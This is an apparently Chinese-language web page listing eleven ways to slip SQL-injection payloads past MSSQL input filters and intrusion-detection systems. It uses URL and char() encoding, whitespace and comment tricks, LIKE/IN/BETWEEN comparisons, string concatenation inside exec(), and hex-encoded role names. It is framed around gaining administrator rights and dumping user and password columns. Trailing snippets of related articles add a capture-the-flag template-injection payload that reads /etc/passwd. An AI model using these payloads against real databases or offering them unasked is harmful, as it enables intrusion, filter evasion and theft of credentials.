1、運用編碼技術繞過
如urlencode編碼,ascii編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而test也可以為char(101)+char(97)+char(115)+char(116)。
2、通過空格繞過
如兩個空格代替乙個空格,用tab代替空格等,或者刪除所有空格,如
or' swords' =『swords',由於mssql的鬆散性,我們可以把or 'swords' 之間的空格去掉,並不影響執行。
3、運用字串判斷代替
用經典的or 1=1判斷繞過,如or 'swords' ='swords',這個方法就是網上在討論的。
4、通過型別轉換修飾符n繞過
可以說這是乙個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or 'swords' = n' swords' ,大寫的n告訴mssql server 字串作為nvarchar型別,它起到型別轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配ids。
5、通過+號拆解字串繞過
效果值得考證,但畢竟是一種方法。如or 'swords' =『sw' +' ords' ;exec(『in' +' sert into '+' …..' )
6、通過like繞過
以前怎麼就沒想到呢?如or'swords' like 'sw'!!!顯然可以很輕鬆的繞過「=」「>」的限制……
7、通過in繞過
與上面的like的思路差不多,如or 'swords' in ('swords')
8、通過between繞過
如or 'swords' between 'rw' and 'tw'
9、通過》或者《繞過
or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3
……10、運用注釋語句繞過
用/**/代替空格,如:union /**/ select /**/user,pwd,from tbluser
用/**/分割敏感詞,如:u/**/ nion /**/ se/**/ lect /**/user,pwd from tbluser
11、用hex繞過,一般的ids都無法檢測出來
0x730079007300610064006d0069006e00 =hex(sysadmin)
0x640062005f006f0077006e0065007200 =hex(db_owner)
39 注入篇 繞過防注入繼續注入
在很多情況下,我們好不容易發現了可能注入的注入點,但是卻由於各種的過濾機制使得我們的注入語句無法執行,這使得我們最後無法拿下 的administrator許可權,本小節我們就講解一些繞過各種防注入過濾措施的方法!1 使用編碼技術 通過urlencode編碼 ascii編碼繞過。例如 or 1 1 即...
xmctf web11 考核 模板注入繞過
輸入name 1發現存在回顯,猜測為模板注入,經過測試發現過濾了.和一些關鍵字 py2模板注入常見payload class bases 0 subclasses 40 r etc passwd read class bases 0 subclasses 59 init func globals.v...
繞過MSSQL防注入的一些解決辦法
在工作中還是其他時候都時常遇見一些 加了防注入 這確實讓人頭痛不已,不過另乙個方面讓我終於又有了乙個新的可以深入琢磨的課題,同時也看見了前輩們提供的很多繞過防注入方法,都著實讓我受益匪淺。把思路集中一下,具有列出以下的幾點 1.編碼處理 2.語句變換 3.其他 對這幾點還是做一些簡要的說明吧!編碼處...